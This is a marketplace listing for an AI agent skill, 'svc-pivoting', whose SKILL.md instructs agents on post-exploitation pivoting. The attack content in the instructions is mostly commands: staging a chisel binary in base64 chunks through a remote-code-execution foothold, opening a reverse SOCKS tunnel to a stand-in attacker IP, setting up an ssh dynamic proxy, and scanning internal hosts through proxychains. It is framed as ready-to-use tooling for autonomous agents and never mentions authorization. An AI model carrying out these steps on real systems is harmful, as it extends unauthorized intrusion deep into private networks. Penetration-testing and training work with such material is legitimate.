svc-pivoting
Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE.
Skill by s0ld13rr
Install
Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.
npx agentmarket install skill/s0ld13rr-svc-pivoting
Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.
Get the weekly diff
The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.
About
Use cases: spreadsheets, security-scanning
Reviews
Write a reviewNo reviews yet. Installed it? Reviews come from verified installers only. How reviews work
Permissions
What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.
- Tools
- No tools found
- Secrets
- None asked for
- Install scripts
- None found
Network hosts it talks to 1
codeload.github.com· found in install command
Files it touches
~/.claude/skills/svc-pivoting
What's inside
- Skill name
svc-pivoting- Description
- Turn a foothold into a RELIABLE pivot (SOCKS tunnel + persistent shell) so internal volume never rides a fragile stateless RCE. Use the moment you have code-exec on a dual-homed/edge host and need to reach an internal segment. Triggers - dual-homed host, "not reachable from my box", internal CIDR behind a foothold, RCE truncates output, need proxychains/nmap through a host, chisel/ligolo.
- License
- MIT
- Instructions
- 53 lines in SKILL.md · view on GitHub
Before installing
- Instructions call the network
Agent Skills spec issues
- name: "svc-pivoting" does not match folder "pivoting"
Files (1)
- SKILL.md
SKILL.md (first lines)
# Pivoting — reliable SOCKS + persistent shell
## When this fires
You have code-exec on a host that can reach an internal segment your attacker box cannot (dual-homed edge host, DMZ box). STOP routing volume through the stateless RCE — its output truncates and one wave of concurrent requests can kill it. Stand up a persistent tunnel FIRST, register it, then route all internal scans/exploits through it. Use `tunnel_manage action:plan` to generate the filled-in recipe; this skill is the methodology + the fallbacks.
## Decide the tunnel type
- **`ssh -D` (dynamic SOCKS)** — you have SSH creds/key on the foothold. Simplest, no binary to land. First choice when SSH works.
- **chisel reverse SOCKS** — no SSH, but you can exec + reach your attacker IP outbound. Land one static binary, get a full SOCKS5. Default for a web/RCE foothold.
- **ligolo-ng** — you need a full route (not just SOCKS) or nested/multi-hop pivots. Route-based (tun iface), cleanest for deep internal work.
- Reverse shell alone is NOT a pivot — it gives exec, not network reach. Convert to one of the above for internal scanning.
## Land the binary through a constrained RCE (the make-or-break)
An egress-restricted / curl-less foothold whose RCE truncates output CANNOT `wget` chisel. Stage it base64-chunked:
```
# attacker: fetch static binary (match arch), chunk it single-line-safe
curl -fsSL https://github.com/jpillora/chisel/releases/latest/download/chisel_<ver>_linux_amd64.gz | gunzip > chisel
split -b 2000 <(base64 -w0 chisel) /tmp/ch_
# push each chunk THROUGH the RCE (append; order matters), then reassemble on target:
for f in /tmp/ch_*; do <RCE> "echo -n $(cat "$f") >> /tmp/chisel.b64"; done
<RCE> "base64 -d /tmp/chisel.b64 > /tmp/chisel && chmod +x /tmp/chisel && /tmp/chisel --version"
# node-only foothold (no base64/coreutils): Buffer.from(fs.readFileSync('/tmp/chisel.b64','utf8'),'base64')
```
## Stand it up
```
# chisel reverse SOCKS — attacker side:
chisel server --reverse --port 8000 --socks5
# foothold side (after staging):
/tmp/chisel client <ATTACKER_IP>:8000 R:9050:socks &
# ssh dynamic SOCKS (if you have creds):
sshpass -p '<pw>' ssh -D 9050 <user>@<foothold> -N -f # or -i key
```
## VERIFY before trusting it (skip this and you'll waste hours on a dead tunnel)
```
printf 'strict_chain\n[ProxyList]\nsocks5 127.0.0.1 9050\n' > /tmp/pc.conf
proxychains4 -q -f /tmp/pc.conf nmap -sT -Pn -n -p 22,80,445 <internal-host> # a hit = tunnel UP
```
Then `tunnel_manage action:register` (record pid + local_port) so sibling agents route via `state_query sessions`. Re-`healthcheck` periodically — a dead tunnel silently swallows traffic.
## Route internal work through it
- All internal nmap/curl/exploit: `proxychains4 -q -f /tmp/pc.conf <cmd>` (SOCKS types) or just target the routed subnet (ligolo).
- `nmap` over SOCKS must be `-sT -Pn` (connect scan; SYN/ping need raw sockets the proxy can't carry).
- SERIALIZE heavy work through one foothold — don't fan out concurrent agents onto a single tunnel/RCE (it can crash the host).
## Pitfalls
- Pushing a multi-line/binary payload through a truncating RCE without staging → corrupt binary, hours lost. Always chunk+verify.
- Forgetting `--socks5` on `chisel server` → `R:socks` has nothing to connect to.
- `proxychains` with SYN scan / ICMP ping → all-filtered false negative. Use `-sT -Pn`.
- Not registering the tunnel → sibling agents don't know it exists and re-hammer the RCE.
- Treating a reverse shell as a pivot → you still can't scan the segment. Build SOCKS/route.From s0ld13rr/pentestcode, MIT.
More from s0ld13rr/pentestcode
- 0.814score
cloudflare
s0ld13rr
Comprehensive Cloudflare platform skill covering Workers, Pages, storage (KV, D1, R2), AI (Workers AI, Vectorize, Agents SDK), networking (Tunnel, Spectrum)…
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
svc-web-server
s0ld13rr
Web SERVER software (not app-layer) attack techniques — server misconfigs, known server CVEs, path traversal, exposed status/config.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-xxe
s0ld13rr
XML External Entity injection detection→file-read/SSRF→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
vuln-assess-phase
s0ld13rr
Vulnerability analysis — triage scanner output, verify manually, score with CVSS, mark false positives.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-deserialization
s0ld13rr
Insecure deserialization to RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-lfi-traversal
s0ld13rr
Path traversal / Local File Inclusion detection→file-read→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-auth-bypass-idor
s0ld13rr
Broken access control - IDOR, privilege escalation, JWT abuse, mass assignment, forced browsing - for web apps and APIs.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-upload-rce
s0ld13rr
File-upload abuse to code execution for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssti
s0ld13rr
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssrf
s0ld13rr
Server-Side Request Forgery detection→internal-access→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-sqli
s0ld13rr
SQL injection detection→exploitation→proof for web apps and APIs.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
svc-ssh
s0ld13rr
SSH version CVEs and post-auth tricks — regreSSHion, user enum, agent hijack.
SkillAFreshness: A★ 883Claude Code +9
Signals
- Stars
- 883
- Forks
- 139
- Open issues
- 3
- Last commit (this folder)
- Jul 27, 2026 (3 months ago)
- Last release
- Oct 23, 2026 (5 days ago)
From GitHub (fetched Oct 24, 2026).
Details
- License
- MIT
- Repository
- github.com/s0ld13rr/pentestcode
- First seen
- Oct 24, 2026
- Last checked
- Oct 24, 2026
- Source
- GitHubgithub-graphql
Same skill elsewhere
Copies of this SKILL.md published by others; search shows only one of them.
More from s0ld13rr
- 0.814score
cloudflare
s0ld13rr
Comprehensive Cloudflare platform skill covering Workers, Pages, storage (KV, D1, R2), AI (Workers AI, Vectorize, Agents SDK), networking (Tunnel, Spectrum)…
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssti
s0ld13rr
Server-Side Template Injection detection→engine-fingerprint→RCE for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-upload-rce
s0ld13rr
File-upload abuse to code execution for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
vuln-assess-phase
s0ld13rr
Vulnerability analysis — triage scanner output, verify manually, score with CVSS, mark false positives.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-xxe
s0ld13rr
XML External Entity injection detection→file-read/SSRF→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9 - 0.812score
web-ssrf
s0ld13rr
Server-Side Request Forgery detection→internal-access→proof for web apps.
SkillAFreshness: A★ 883Claude Code +9
Cite this page
svc-pivoting skill. Agent Mart. https://agentmart.dev/skills/s0ld13rr-svc-pivoting (last updated 2026-10-24)